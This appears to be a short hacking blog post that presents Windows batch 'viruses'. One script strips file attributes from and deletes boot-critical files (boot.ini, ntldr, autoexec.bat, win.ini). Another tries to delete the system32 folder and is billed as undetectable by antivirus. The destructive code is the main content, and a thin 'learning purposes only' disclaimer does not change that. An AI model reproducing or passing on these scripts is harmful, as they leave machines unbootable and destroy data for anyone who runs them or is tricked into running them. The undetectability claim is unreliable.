First open notepad and type like show below image
And save in to filename.bat ,open the bat file its display a System shutdown dialogue box within
160 seconds computer will turn off shown below the figure

Enjoy!!
Here we are learn something about hacking and create some virus codes here!!but this are only for the learning purposes.
First open notepad and type like show below image

In the post Show below virus coding is very dangerous, first open the notepad type code@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
save as in to virus.bat file system
write your own simple virus can’t detected by any antivirus.... @Echo off
Echo virus
Pause
@Echo off
Del C:\window\system32
Note : And save that as .bat file system format
it will delet c:... don’t try its only learning purpose
